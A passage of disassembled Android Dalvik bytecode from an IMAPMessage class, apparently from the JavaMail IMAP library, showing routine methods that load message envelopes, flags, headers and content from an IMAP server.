:66
00000066 new-instance v2, FolderClosedException
0000006A iget-object v3, p0, IMAPMessage->folder:Folder
0000006E invoke-virtual ConnectionException->getMessage()String, v0
00000074 move-result-object v0
00000076 invoke-direct FolderClosedException-><init>(Folder, String)V, v2, v3, v0
0000007C throw v2
:7E
0000007E move-exception v0
00000080 invoke-virtual IMAPMessage->forceCheckExpunged()V, p0
00000086 new-instance v2, MessagingException
0000008A invoke-virtual ProtocolException->getMessage()String, v0
00000090 move-result-object v3
00000092 invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v0
00000098 throw v2
:9A
0000009A monitor-exit v1
:9C
0000009C goto :A
.catchall {:2 .. :6} :5E
.catchall {:E .. :18} :5E
.catch ConnectionException {:18 .. :3A} :64
.catch ProtocolException {:18 .. :3A} :7E
.catchall {:18 .. :3A} :58
.catchall {:3A .. :5C} :58
.catchall {:5C .. :5E} :5E
.catchall {:66 .. :9C} :58
.end method
.method private declared-synchronized loadEnvelope()V
.registers 12
00000000 const/4 v3, 0x0
00000002 monitor-enter p0
:4
00000004 iget-object v0, p0, IMAPMessage->envelope:ENVELOPE
:8
00000008 if-eqz v0, :10
:C
0000000C monitor-exit p0
0000000E return-void
:10
00000010 const/4 v0, 0x0
:12
00000012 check-cast v0, [Response
00000016 invoke-virtual IMAPMessage->getMessageCacheLock()Object, p0
0000001C move-result-object v5
0000001E monitor-enter v5
:20
00000020 invoke-virtual IMAPMessage->getProtocol()IMAPProtocol, p0
00000026 move-result-object v6
00000028 invoke-virtual IMAPMessage->checkExpunged()V, p0
0000002E invoke-virtual IMAPMessage->getSequenceNumber()I, p0
00000034 move-result v7
00000036 sget-object v0, IMAPMessage->EnvelopeCmd:String
0000003A invoke-virtual IMAPProtocol->fetch(I, String)[Response, v6, v7, v0
00000040 move-result-object v8
00000042 move v4, v3
:44
00000044 array-length v0, v8
00000046 if-lt v4, v0, :80
:4A
0000004A invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, v6, v8
00000050 array-length v0, v8
00000052 add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFF
00000056 aget-object v0, v8, v0
0000005A invoke-virtual IMAPProtocol->handleResult(Response)V, v6, v0
:60
00000060 monitor-exit v5
:62
00000062 iget-object v0, p0, IMAPMessage->envelope:ENVELOPE
00000066 if-nez v0, :C
:6A
0000006A new-instance v0, MessagingException
0000006E const-string v1, "Failed to load IMAP envelope"
00000072 invoke-direct MessagingException-><init>(String)V, v0, v1
00000078 throw v0
:7A
0000007A move-exception v0
0000007C monitor-exit p0
0000007E throw v0
:80
00000080 aget-object v0, v8, v4
00000084 if-eqz v0, :A8
:88
00000088 aget-object v0, v8, v4
0000008C instance-of v0, v0, FetchResponse
00000090 if-eqz v0, :A8
:94
00000094 aget-object v0, v8, v4
00000098 check-cast v0, FetchResponse
0000009C invoke-virtual FetchResponse->getNumber()I, v0
000000A2 move-result v0
000000A4 if-eq v0, v7, :B0
:A8
000000A8 add-int/lit8 v0, v4, 0x1
000000AC move v4, v0
000000AE goto :44
:B0
000000B0 aget-object v0, v8, v4
000000B4 check-cast v0, FetchResponse
000000B8 invoke-virtual FetchResponse->getItemCount()I, v0
000000BE move-result v9
000000C0 move v2, v3
:C2
000000C2 if-ge v2, v9, :A8
:C6
000000C6 invoke-virtual FetchResponse->getItem(I)Item, v0, v2
000000CC move-result-object v1
000000CE instance-of v10, v1, ENVELOPE
000000D2 if-eqz v10, :E6
:D6
000000D6 check-cast v1, ENVELOPE
000000DA iput-object v1, p0, IMAPMessage->envelope:ENVELOPE
:DE
000000DE add-int/lit8 v1, v2, 0x1
000000E2 move v2, v1
000000E4 goto :C2
:E6
000000E6 instance-of v10, v1, INTERNALDATE
000000EA if-eqz v10, :120
:EE
000000EE check-cast v1, INTERNALDATE
000000F2 invoke-virtual INTERNALDATE->getDate()Date, v1
000000F8 move-result-object v1
000000FA iput-object v1, p0, IMAPMessage->receivedDate:Date
:FE
000000FE goto :DE
:100
00000100 move-exception v0
:102
00000102 new-instance v1, FolderClosedException
00000106 iget-object v2, p0, IMAPMessage->folder:Folder
0000010A invoke-virtual ConnectionException->getMessage()String, v0
00000110 move-result-object v0
00000112 invoke-direct FolderClosedException-><init>(Folder, String)V, v1, v2, v0
00000118 throw v1
:11A
0000011A move-exception v0
0000011C monitor-exit v5
:11E
0000011E throw v0
:120
00000120 instance-of v10, v1, RFC822SIZE
00000124 if-eqz v10, :DE
:128
00000128 check-cast v1, RFC822SIZE
0000012C iget v1, v1, RFC822SIZE->size:I
00000130 iput v1, p0, IMAPMessage->size:I
:134
00000134 goto :DE
:136
00000136 move-exception v0
:138
00000138 invoke-virtual IMAPMessage->forceCheckExpunged()V, p0
0000013E new-instance v1, MessagingException
00000142 invoke-virtual ProtocolException->getMessage()String, v0
00000148 move-result-object v2
0000014A invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
00000150 throw v1
.catchall {:4 .. :8} :7A
.catchall {:12 .. :20} :7A
.catch ConnectionException {:20 .. :60} :100
.catch ProtocolException {:20 .. :60} :136
.catchall {:20 .. :60} :11A
.catchall {:60 .. :62} :11A
.catchall {:62 .. :7A} :7A
.catch ConnectionException {:80 .. :FE} :100
.catch ProtocolException {:80 .. :FE} :136
.catchall {:80 .. :FE} :11A
.catchall {:102 .. :11E} :11A
.catchall {:11E .. :120} :7A
.catch ConnectionException {:120 .. :134} :100
.catch ProtocolException {:120 .. :134} :136
.catchall {:120 .. :134} :11A
.catchall {:138 .. :152} :11A
.end method
.method private declared-synchronized loadFlags()V
.registers 5
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, IMAPMessage->flags:Flags
:6
00000006 if-eqz v0, :E
:A
0000000A monitor-exit p0
0000000C return-void
:E
0000000E invoke-virtual IMAPMessage->getMessageCacheLock()Object, p0
00000014 move-result-object v1
00000016 monitor-enter v1
:18
00000018 invoke-virtual IMAPMessage->getProtocol()IMAPProtocol, p0
0000001E move-result-object v0
00000020 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000026 invoke-virtual IMAPMessage->getSequenceNumber()I, p0
0000002C move-result v2
0000002E invoke-virtual IMAPProtocol->fetchFlags(I)Flags, v0, v2
00000034 move-result-object v0
00000036 iput-object v0, p0, IMAPMessage->flags:Flags
:3A
0000003A monitor-exit v1
0000003C goto :A
:3E
0000003E move-exception v0
00000040 monitor-exit v1
:42
00000042 throw v0
:44
00000044 move-exception v0
00000046 monitor-exit p0
00000048 throw v0
:4A
0000004A move-exception v0
:4C
0000004C new-instance v2, FolderClosedException
00000050 iget-object v3, p0, IMAPMessage->folder:Folder
00000054 invoke-virtual ConnectionException->getMessage()String, v0
0000005A move-result-object v0
0000005C invoke-direct FolderClosedException-><init>(Folder, String)V, v2, v3, v0
00000062 throw v2
:64
00000064 move-exception v0
00000066 invoke-virtual IMAPMessage->forceCheckExpunged()V, p0
0000006C new-instance v2, MessagingException
00000070 invoke-virtual ProtocolException->getMessage()String, v0
00000076 move-result-object v3
00000078 invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v0
0000007E throw v2
.catchall {:2 .. :6} :44
.catchall {:E .. :18} :44
.catch ConnectionException {:18 .. :3A} :4A
.catch ProtocolException {:18 .. :3A} :64
.catchall {:18 .. :3A} :3E
.catchall {:3A .. :42} :3E
.catchall {:42 .. :44} :44
.catchall {:4C .. :80} :3E
.end method
.method private declared-synchronized loadHeaders()V
.registers 6
00000000 monitor-enter p0
:2
00000002 iget-boolean v0, p0, IMAPMessage->headersLoaded:Z
:6
00000006 if-eqz v0, :E
:A
0000000A monitor-exit p0
0000000C return-void
:E
0000000E const/4 v0, 0x0
:10
00000010 invoke-virtual IMAPMessage->getMessageCacheLock()Object, p0
00000016 move-result-object v1
00000018 monitor-enter v1
:1A
0000001A invoke-virtual IMAPMessage->getProtocol()IMAPProtocol, p0
00000020 move-result-object v2
00000022 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000028 invoke-virtual IMAPProtocol->isREV1()Z, v2
0000002E move-result v3
00000030 if-eqz v3, :78
:34
00000034 invoke-virtual IMAPMessage->getSequenceNumber()I, p0
0000003A move-result v3
0000003C const-string v4, "HEADER"
00000040 invoke-direct IMAPMessage->toSection(String)String, p0, v4
00000046 move-result-object v4
00000048 invoke-virtual IMAPProtocol->peekBody(I, String)BODY, v2, v3, v4
0000004E move-result-object v2
00000050 if-eqz v2, :5C
:54
00000054 invoke-virtual BODY->getByteArrayInputStream()ByteArrayInputStream, v2
:5A
0000005A move-result-object v0
:5C
0000005C monitor-exit v1
:5E
0000005E if-nez v0, :D6
:62
00000062 new-instance v0, MessagingException
00000066 const-string v1, "Cannot load header"
0000006A invoke-direct MessagingException-><init>(String)V, v0, v1
00000070 throw v0
:72
00000072 move-exception v0
00000074 monitor-exit p0
00000076 throw v0
:78
00000078 invoke-virtual IMAPMessage->getSequenceNumber()I, p0
0000007E move-result v3
00000080 const-string v4, "HEADER"
00000084 invoke-virtual IMAPProtocol->fetchRFC822(I, String)RFC822DATA, v2, v3, v4
0000008A move-result-object v2
0000008C if-eqz v2, :5C
:90
00000090 invoke-virtual RFC822DATA->getByteArrayInputStream()ByteArrayInputStream, v2
:96
00000096 move-result-object v0
00000098 goto :5C
:9A
0000009A move-exception v0
:9C
0000009C new-instance v2, FolderClosedException
000000A0 iget-object v3, p0, IMAPMessage->folder:Folder
000000A4 invoke-virtual ConnectionException->getMessage()String, v0
000000AA move-result-object v0
000000AC invoke-direct FolderClosedException-><init>(Folder, String)V, v2, v3, v0
000000B2 throw v2
:B4
000000B4 move-exception v0
000000B6 monitor-exit v1
:B8
000000B8 throw v0
:BA
000000BA move-exception v0
:BC
000000BC invoke-virtual IMAPMessage->forceCheckExpunged()V, p0
000000C2 new-instance v2, MessagingException
000000C6 invoke-virtual ProtocolException->getMessage()String, v0
000000CC move-result-object v3
000000CE invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v0
000000D4 throw v2
:D6
000000D6 new-instance v1, InternetHeaders
000000DA invoke-direct InternetHeaders-><init>(InputStream)V, v1, v0
000000E0 iput-object v1, p0, IMAPMessage->headers:InternetHeaders
000000E4 const/4 v0, 0x1
000000E6 iput-boolean v0, p0, IMAPMessage->headersLoaded:Z
:EA
000000EA goto :A
.catchall {:2 .. :6} :72
.catchall {:10 .. :1A} :72
.catch ConnectionException {:1A .. :5A} :9A
.catch ProtocolException {:1A .. :5A} :BA
.catchall {:1A .. :5A} :B4
.catchall {:5C .. :5E} :B4
.catchall {:62 .. :72} :72
.catch ConnectionException {:78 .. :96} :9A
.catch ProtocolException {:78 .. :96} :BA
.catchall {:78 .. :96} :B4
.catchall {:9C .. :B8} :B4
.catchall {:B8 .. :BA} :72
.catchall {:BC .. :D6} :B4
.catchall {:D6 .. :EA} :72
.end method
.method private declared-synchronized setHeaderLoaded(String)V
.registers 4
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, IMAPMessage->loadedHeaders:Hashtable
00000006 if-nez v0, :1A
:A
0000000A new-instance v0, Hashtable
0000000E const/4 v1, 0x1
00000010 invoke-direct Hashtable-><init>(I)V, v0, v1
00000016 iput-object v0, p0, IMAPMessage->loadedHeaders:Hashtable
:1A
0000001A iget-object v0, p0, IMAPMessage->loadedHeaders:Hashtable
0000001E sget-object v1, Locale->ENGLISH:Locale
00000022 invoke-virtual String->toUpperCase(Locale)String, p1, v1
00000028 move-result-object v1
0000002A invoke-virtual Hashtable->put(Object, Object)Object, v0, v1, p1
:30
00000030 monitor-exit p0
00000032 return-void
:34
00000034 move-exception v0
00000036 monitor-exit p0
00000038 throw v0
.catchall {:2 .. :30} :34
.end method
.method private declared-synchronized setHeadersLoaded(Z)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iput-boolean p1, p0, IMAPMessage->headersLoaded:Z
:6
00000006 monitor-exit p0
00000008 return-void
:A
0000000A move-exception v0
0000000C monitor-exit p0
0000000E throw v0
.catchall {:2 .. :6} :A
.end method
.method private toSection(String)String
.registers 4
00000000 iget-object v0, p0, IMAPMessage->sectionId:String
00000004 if-nez v0, :A
:8
00000008 return-object p1
:A
0000000A new-instance v0, StringBuilder
0000000E iget-object v1, p0, IMAPMessage->sectionId:String
00000012 invoke-static String->valueOf(Object)String, v1
00000018 move-result-object v1
0000001A invoke-direct StringBuilder-><init>(String)V, v0, v1
00000020 const-string v1, "."
00000024 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000002A move-result-object v0
0000002C invoke-virtual StringBuilder->append(String)StringBuilder, v0, p1
00000032 move-result-object v0
00000034 invoke-virtual StringBuilder->toString()String, v0
0000003A move-result-object p1
0000003C goto :8
.end method
.method _getSession()Session
.registers 2
00000000 iget-object v0, p0, IMAPMessage->session:Session
00000004 return-object v0
.end method
.method _setFlags(Flags)V
.registers 2
00000000 iput-object p1, p0, IMAPMessage->flags:Flags
00000004 return-void
.end method
.method public addFrom([Address)V
.registers 4
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "IMAPMessage is read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public addHeader(String, String)V
.registers 5
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "IMAPMessage is read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public addHeaderLine(String)V
.registers 4
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "IMAPMessage is read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public addRecipients(Message$RecipientType, [Address)V
.registers 5
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "IMAPMessage is read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method protected checkExpunged()V
.registers 2
00000000 iget-boolean v0, p0, IMAPMessage->expunged:Z
00000004 if-eqz v0, :14
:8
00000008 new-instance v0, MessageRemovedException
0000000C invoke-direct MessageRemovedException-><init>()V, v0
00000012 throw v0
:14
00000014 return-void
.end method
.method protected forceCheckExpunged()V
.registers 5
00000000 invoke-virtual IMAPMessage->getMessageCacheLock()Object, p0
00000006 move-result-object v1
00000008 monitor-enter v1
:A
0000000A invoke-virtual IMAPMessage->getProtocol()IMAPProtocol, p0
00000010 move-result-object v0
00000012 invoke-virtual IMAPProtocol->noop()V, v0
:18
00000018 monitor-exit v1
:1A
0000001A iget-boolean v0, p0, IMAPMessage->expunged:Z
0000001E if-eqz v0, :4E
:22
00000022 new-instance v0, MessageRemovedException
00000026 invoke-direct MessageRemovedException-><init>()V, v0
0000002C throw v0
:2E
0000002E move-exception v0
:30
00000030 new-instance v2, FolderClosedException
00000034 iget-object v3, p0, IMAPMessage->folder:Folder
00000038 invoke-virtual ConnectionException->getMessage()String, v0
0000003E move-result-object v0
00000040 invoke-direct FolderClosedException-><init>(Folder, String)V, v2, v3, v0
00000046 throw v2
:48
00000048 move-exception v0
0000004A monitor-exit v1
:4C
0000004C throw v0
:4E
0000004E return-void
:50
00000050 move-exception v0
00000052 goto :18
.catch ConnectionException {:A .. :18} :2E
.catch ProtocolException {:A .. :18} :50
.catchall {:A .. :18} :48
.catchall {:18 .. :1A} :48
.catchall {:30 .. :4C} :48
.end method
.method public getAllHeaderLines()Enumeration
.registers 2
00000000 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000006 invoke-direct IMAPMessage->loadHeaders()V, p0
0000000C invoke-super MimeMessage->getAllHeaderLines()Enumeration, p0
00000012 move-result-object v0
00000014 return-object v0
.end method
.method public getAllHeaders()Enumeration
.registers 2
00000000 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000006 invoke-direct IMAPMessage->loadHeaders()V, p0
0000000C invoke-super MimeMessage->getAllHeaders()Enumeration, p0
00000012 move-result-object v0
00000014 return-object v0
.end method
.method public getContentID()String
.registers 2
00000000 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000006 invoke-direct IMAPMessage->loadBODYSTRUCTURE()V, p0
0000000C iget-object v0, p0, IMAPMessage->bs:BODYSTRUCTURE
00000010 iget-object v0, v0, BODYSTRUCTURE->id:String
00000014 return-object v0
.end method
.method public getContentLanguage()[String
.registers 2
00000000 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000006 invoke-direct IMAPMessage->loadBODYSTRUCTURE()V, p0
0000000C iget-object v0, p0, IMAPMessage->bs:BODYSTRUCTURE
00000010 iget-object v0, v0, BODYSTRUCTURE->language:[String
00000014 if-eqz v0, :2E
:18
00000018 iget-object v0, p0, IMAPMessage->bs:BODYSTRUCTURE
0000001C iget-object v0, v0, BODYSTRUCTURE->language:[String
00000020 invoke-virtual [String->clone()Object, v0
00000026 move-result-object v0
00000028 check-cast v0, [String
:2C
0000002C return-object v0
:2E
0000002E const/4 v0, 0x0
00000030 goto :2C
.end method
.method public getContentMD5()String
.registers 2
00000000 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000006 invoke-direct IMAPMessage->loadBODYSTRUCTURE()V, p0
0000000C iget-object v0, p0, IMAPMessage->bs:BODYSTRUCTURE
00000010 iget-object v0, v0, BODYSTRUCTURE->md5:String
00000014 return-object v0
.end method
.method protected getContentStream()InputStream
.registers 7
00000000 const/4 v1, 0xFFFFFFFFFFFFFFFF
00000002 const/4 v0, 0x0
00000004 invoke-virtual IMAPMessage->getPeek()Z, p0
0000000A move-result v2
0000000C invoke-virtual IMAPMessage->getMessageCacheLock()Object, p0
00000012 move-result-object v3
00000014 monitor-enter v3
:16
00000016 invoke-virtual IMAPMessage->getProtocol()IMAPProtocol, p0
0000001C move-result-object v4
0000001E invoke-virtual IMAPMessage->checkExpunged()V, p0
00000024 invoke-virtual IMAPProtocol->isREV1()Z, v4
0000002A move-result v5
0000002C if-eqz v5, :66
:30
00000030 invoke-virtual IMAPMessage->getFetchBlockSize()I, p0
00000036 move-result v5
00000038 if-eq v5, v1, :66
:3C
0000003C new-instance v0, IMAPInputStream
00000040 const-string v4, "TEXT"
00000044 invoke-direct IMAPMessage->toSection(String)String, p0, v4
0000004A move-result-object v4
0000004C iget-object v5, p0, IMAPMessage->bs:BODYSTRUCTURE
00000050 if-eqz v5, :5C
:54
00000054 iget-object v1, p0, IMAPMessage->bs:BODYSTRUCTURE
00000058 iget v1, v1, BODYSTRUCTURE->size:I
:5C
0000005C invoke-direct IMAPInputStream-><init>(IMAPMessage, String, I, Z)V, v0, p0, v4, v1, v2
:62
00000062 monitor-exit v3
:64
00000064 return-object v0
:66
00000066 invoke-virtual IMAPProtocol->isREV1()Z, v4
0000006C move-result v1
0000006E if-eqz v1, :D2
:72
00000072 if-eqz v2, :B4
:76
00000076 invoke-virtual IMAPMessage->getSequenceNumber()I, p0
0000007C move-result v1
0000007E const-string v2, "TEXT"
00000082 invoke-direct IMAPMessage->toSection(String)String, p0, v2
00000088 move-result-object v2
0000008A invoke-virtual IMAPProtocol->peekBody(I, String)BODY, v4, v1, v2
00000090 move-result-object v1
:92
00000092 if-eqz v1, :9E
:96
00000096 invoke-virtual BODY->getByteArrayInputStream()ByteArrayInputStream, v1
:9C
0000009C move-result-object v0
:9E
0000009E monitor-exit v3
:A0
000000A0 if-nez v0, :64
:A4
000000A4 new-instance v0, MessagingException
000000A8 const-string v1, "No content"
000000AC invoke-direct MessagingException-><init>(String)V, v0, v1
000000B2 throw v0
:B4
000000B4 invoke-virtual IMAPMessage->getSequenceNumber()I, p0
000000BA move-result v1
000000BC const-string v2, "TEXT"
000000C0 invoke-direct IMAPMessage->toSection(String)String, p0, v2
000000C6 move-result-object v2
000000C8 invoke-virtual IMAPProtocol->fetchBody(I, String)BODY, v4, v1, v2
000000CE move-result-object v1
000000D0 goto :92
:D2
000000D2 invoke-virtual IMAPMessage->getSequenceNumber()I, p0
000000D8 move-result v1
000000DA const-string v2, "TEXT"
000000DE invoke-virtual IMAPProtocol->fetchRFC822(I, String)RFC822DATA, v4, v1, v2
000000E4 move-result-object v1
000000E6 if-eqz v1, :9E
:EA
000000EA invoke-virtual RFC822DATA->getByteArrayInputStream()ByteArrayInputStream, v1
:F0
000000F0 move-result-object v0
000000F2 goto :9E
:F4
000000F4 move-exception v0
:F6
000000F6 new-instance v1, FolderClosedException
000000FA iget-object v2, p0, IMAPMessage->folder:Folder
000000FE invoke-virtual ConnectionException->getMessage()String, v0
00000104 move-result-object v0
00000106 invoke-direct FolderClosedException-><init>(Folder, String)V, v1, v2, v0
0000010C throw v1
:10E
0000010E move-exception v0
00000110 monitor-exit v3
:112
00000112 throw v0
:114
00000114 move-exception v0
:116
00000116 invoke-virtual IMAPMessage->forceCheckExpunged()V, p0
0000011C new-instance v1, MessagingException
00000120 invoke-virtual ProtocolException->getMessage()String, v0
00000126 move-result-object v2
00000128 invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
0000012E throw v1
.catch ConnectionException {:16 .. :62} :F4
.catch ProtocolException {:16 .. :62} :114
.catchall {:16 .. :62} :10E
.catchall {:62 .. :64} :10E
.catch ConnectionException {:66 .. :9C} :F4
.catch ProtocolException {:66 .. :9C} :114
.catchall {:66 .. :9C} :10E
.catchall {:9E .. :A0} :10E
.catch ConnectionException {:B4 .. :F0} :F4
.catch ProtocolException {:B4 .. :F0} :114
.catchall {:B4 .. :F0} :10E
.catchall {:F6 .. :112} :10E
.catchall {:116 .. :130} :10E
.end method
.method public getContentType()String
.registers 5
00000000 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000006 iget-object v0, p0, IMAPMessage->type:String
0000000A if-nez v0, :42
:E
0000000E invoke-direct IMAPMessage->loadBODYSTRUCTURE()V, p0
00000014 new-instance v0, ContentType
00000018 iget-object v1, p0, IMAPMessage->bs:BODYSTRUCTURE
0000001C iget-object v1, v1, BODYSTRUCTURE->type:String
00000020 iget-object v2, p0, IMAPMessage->bs:BODYSTRUCTURE
00000024 iget-object v2, v2, BODYSTRUCTURE->subtype:String
00000028 iget-object v3, p0, IMAPMessage->bs:BODYSTRUCTURE
0000002C iget-object v3, v3, BODYSTRUCTURE->cParams:ParameterList
00000030 invoke-direct ContentType-><init>(String, String, ParameterList)V, v0, v1, v2, v3
00000036 invoke-virtual ContentType->toString()String, v0
0000003C move-result-object v0
0000003E iput-object v0, p0, IMAPMessage->type:String
:42
00000042 iget-object v0, p0, IMAPMessage->type:String
00000046 return-object v0
.end method
.method public declared-synchronized getDataHandler()DataHandler
.registers 7
00000000 monitor-enter p0
:2
00000002 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000008 iget-object v0, p0, IMAPMessage->dh:DataHandler
0000000C if-nez v0, :80
:10
00000010 invoke-direct IMAPMessage->loadBODYSTRUCTURE()V, p0
00000016 iget-object v0, p0, IMAPMessage->type:String
0000001A if-nez v0, :4C
:1E
0000001E new-instance v0, ContentType
00000022 iget-object v1, p0, IMAPMessage->bs:BODYSTRUCTURE
00000026 iget-object v1, v1, BODYSTRUCTURE->type:String
0000002A iget-object v2, p0, IMAPMessage->bs:BODYSTRUCTURE
0000002E iget-object v2, v2, BODYSTRUCTURE->subtype:String
00000032 iget-object v3, p0, IMAPMessage->bs:BODYSTRUCTURE
00000036 iget-object v3, v3, BODYSTRUCTURE->cParams:ParameterList
0000003A invoke-direct ContentType-><init>(String, String, ParameterList)V, v0, v1, v2, v3
00000040 invoke-virtual ContentType->toString()String, v0
00000046 move-result-object v0
00000048 iput-object v0, p0, IMAPMessage->type:String
:4C
0000004C iget-object v0, p0, IMAPMessage->bs:BODYSTRUCTURE
00000050 invoke-virtual BODYSTRUCTURE->isMulti()Z, v0
00000056 move-result v0
00000058 if-eqz v0, :8C
:5C
0000005C new-instance v0, DataHandler
00000060 new-instance v1, IMAPMultipartDataSource
00000064 iget-object v2, p0, IMAPMessage->bs:BODYSTRUCTURE
00000068 iget-object v2, v2, BODYSTRUCTURE->bodies:[BODYSTRUCTURE
0000006C iget-object v3, p0, IMAPMessage->sectionId:String
00000070 invoke-direct IMAPMultipartDataSource-><init>(MimePart, [BODYSTRUCTURE, String, IMAPMessage)V, v1, p0, v2, v3, p0
00000076 invoke-direct DataHandler-><init>(DataSource)V, v0, v1
0000007C iput-object v0, p0, IMAPMessage->dh:DataHandler
:80
00000080 invoke-super MimeMessage->getDataHandler()DataHandler, p0
:86
00000086 move-result-object v0
00000088 monitor-exit p0
0000008A return-object v0
:8C
0000008C iget-object v0, p0, IMAPMessage->bs:BODYSTRUCTURE
00000090 invoke-virtual BODYSTRUCTURE->isNested()Z, v0
00000096 move-result v0
00000098 if-eqz v0, :80
:9C
0000009C invoke-virtual IMAPMessage->isREV1()Z, p0
000000A2 move-result v0
000000A4 if-eqz v0, :80
:A8
000000A8 new-instance v1, DataHandler
000000AC new-instance v2, IMAPNestedMessage
000000B0 iget-object v0, p0, IMAPMessage->bs:BODYSTRUCTURE
000000B4 iget-object v0, v0, BODYSTRUCTURE->bodies:[BODYSTRUCTURE
000000B8 const/4 v3, 0x0
000000BA aget-object v3, v0, v3
000000BE iget-object v0, p0, IMAPMessage->bs:BODYSTRUCTURE
000000C2 iget-object v4, v0, BODYSTRUCTURE->envelope:ENVELOPE
000000C6 iget-object v0, p0, IMAPMessage->sectionId:String
000000CA if-nez v0, :EE
:CE
000000CE const-string v0, "1"
:D2
000000D2 invoke-direct IMAPNestedMessage-><init>(IMAPMessage, BODYSTRUCTURE, ENVELOPE, String)V, v2, p0, v3, v4, v0
000000D8 iget-object v0, p0, IMAPMessage->type:String
000000DC invoke-direct DataHandler-><init>(Object, String)V, v1, v2, v0
000000E2 iput-object v1, p0, IMAPMessage->dh:DataHandler
:E6
000000E6 goto :80
:E8
000000E8 move-exception v0
000000EA monitor-exit p0
000000EC throw v0
:EE
000000EE new-instance v0, StringBuilder
000000F2 iget-object v5, p0, IMAPMessage->sectionId:String
000000F6 invoke-static String->valueOf(Object)String, v5
000000FC move-result-object v5
000000FE invoke-direct StringBuilder-><init>(String)V, v0, v5
00000104 const-string v5, ".1"
00000108 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v5
0000010E move-result-object v0
00000110 invoke-virtual StringBuilder->toString()String, v0
:116
00000116 move-result-object v0
00000118 goto :D2
.catchall {:2 .. :86} :E8
.catchall {:8C .. :E6} :E8
.catchall {:EE .. :116} :E8
.end method
.method public getDescription()String
.registers 2
00000000 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000006 iget-object v0, p0, IMAPMessage->description:String
0000000A if-eqz v0, :14
:E
0000000E iget-object v0, p0, IMAPMessage->description:String
:12
00000012 return-object v0
:14
00000014 invoke-direct IMAPMessage->loadBODYSTRUCTURE()V, p0
0000001A iget-object v0, p0, IMAPMessage->bs:BODYSTRUCTURE
0000001E iget-object v0, v0, BODYSTRUCTURE->description:String
00000022 if-nez v0, :2A
:26
00000026 const/4 v0, 0x0
00000028 goto :12
:2A
0000002A iget-object v0, p0, IMAPMessage->bs:BODYSTRUCTURE
0000002E iget-object v0, v0, BODYSTRUCTURE->description:String
00000032 invoke-static MimeUtility->decodeText(String)String, v0
00000038 move-result-object v0
0000003A iput-object v0, p0, IMAPMessage->description:String
:3E
0000003E iget-object v0, p0, IMAPMessage->description:String
00000042 goto :12
:44
00000044 move-exception v0
00000046 iget-object v0, p0, IMAPMessage->bs:BODYSTRUCTURE
0000004A iget-object v0, v0, BODYSTRUCTURE->description:String
0000004E iput-object v0, p0, IMAPMessage->description:String
00000052 goto :3E
.catch UnsupportedEncodingException {:2A .. :3E} :44
.end method
.method public getDisposition()String
.registers 2
00000000 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000006 invoke-direct IMAPMessage->loadBODYSTRUCTURE()V, p0
0000000C iget-object v0, p0, IMAPMessage->bs:BODYSTRUCTURE
00000010 iget-object v0, v0, BODYSTRUCTURE->disposition:String
00000014 return-object v0
.end method
.method public getEncoding()String
.registers 2
00000000 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000006 invoke-direct IMAPMessage->loadBODYSTRUCTURE()V, p0
0000000C iget-object v0, p0, IMAPMessage->bs:BODYSTRUCTURE
00000010 iget-object v0, v0, BODYSTRUCTURE->encoding:String
00000014 return-object v0
.end method
.method protected getFetchBlockSize()I
.registers 2
00000000 iget-object v0, p0, IMAPMessage->folder:Folder
00000004 invoke-virtual Folder->getStore()Store, v0
0000000A move-result-object v0
0000000C check-cast v0, IMAPStore
00000010 invoke-virtual IMAPStore->getFetchBlockSize()I, v0
00000016 move-result v0
00000018 return v0
.end method
.method public getFileName()String
.registers 3
00000000 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000006 const/4 v0, 0x0
00000008 invoke-direct IMAPMessage->loadBODYSTRUCTURE()V, p0
0000000E iget-object v1, p0, IMAPMessage->bs:BODYSTRUCTURE
00000012 iget-object v1, v1, BODYSTRUCTURE->dParams:ParameterList
00000016 if-eqz v1, :2E
:1A
0000001A iget-object v0, p0, IMAPMessage->bs:BODYSTRUCTURE
0000001E iget-object v0, v0, BODYSTRUCTURE->dParams:ParameterList
00000022 const-string v1, "filename"
00000026 invoke-virtual ParameterList->get(String)String, v0, v1
0000002C move-result-object v0
:2E
0000002E if-nez v0, :52
:32
00000032 iget-object v1, p0, IMAPMessage->bs:BODYSTRUCTURE
00000036 iget-object v1, v1, BODYSTRUCTURE->cParams:ParameterList
0000003A if-eqz v1, :52
:3E
0000003E iget-object v0, p0, IMAPMessage->bs:BODYSTRUCTURE
00000042 iget-object v0, v0, BODYSTRUCTURE->cParams:ParameterList
00000046 const-string v1, "name"
0000004A invoke-virtual ParameterList->get(String)String, v0, v1
00000050 move-result-object v0
:52
00000052 return-object v0
.end method
.method public declared-synchronized getFlags()Flags
.registers 2
00000000 monitor-enter p0
:2
00000002 invoke-virtual IMAPMessage->checkExpunged()V, p0
